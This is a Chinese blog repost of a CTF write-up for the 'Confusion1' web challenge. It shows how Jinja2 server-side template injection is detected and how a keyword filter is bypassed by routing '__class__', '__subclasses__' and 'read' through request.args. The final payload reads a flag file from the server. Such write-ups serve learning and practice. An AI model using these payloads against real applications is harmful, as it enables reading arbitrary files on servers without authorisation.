我是靠谱客的博主 阔达小松鼠,最近开发中收集的这篇文章主要介绍攻防世界 web高手进阶区 7分题Confusion1前言结语,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

前言

继续ctf的旅程
开始攻防世界web高手进阶区的7分题
本文是Confusion1的writeup

解题过程

进来的界面如下
(后来知道是php vs python的意思,也就是给提示跟python有关)
在这里插入图片描述
惯例源码和御剑
没有东西发现

点击register
报错
在这里插入图片描述
不过在源码里有提示
在这里插入图片描述
给出了flag的位置

点击login也是类似的情况
这没有信息了
想了好一会儿
猜测是SSTI

测试

输入{{7*7}}
返回如下:
在这里插入图片描述
确认是SSTI

输入{{ 7*'7' }}
返回如下:
在这里插入图片描述
应该是Jinja2或Twig

尝试绕过

最常用的{{''.__class__.__mro__[2].__subclasses__()}}
在这里插入图片描述
这应该是过滤了啥
(后来发现是过滤了 class、 subclasses、 read等关键词)

尝试{{url_for.__globals__}}
在这里插入图片描述
似乎是权限问题?

看眼{{config}}
在这里插入图片描述
尝试request

{{''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__

在这里插入图片描述
有了
request可以用
那就简单了

最终payload

{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

在这里插入图片描述
获取flag

结语

这题就是SSTI
不过提示很隐晦

  • 开始的蛇吞象==python干掉php
  • 所以是python的SSTI

一些SSTI的链接如下

  • SSTI完全学习
  • 从零学习flask模板注入
  • jinja2模板注入
  • 服务端模板注入
  • Flask/Jinja2 SSTI && Python 沙箱逃逸基础

最后

以上就是阔达小松鼠为你收集整理的攻防世界 web高手进阶区 7分题Confusion1前言结语的全部内容,希望文章能够帮你解决攻防世界 web高手进阶区 7分题Confusion1前言结语所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(34)

评论列表共有 0 条评论

立即
投稿
返回
顶部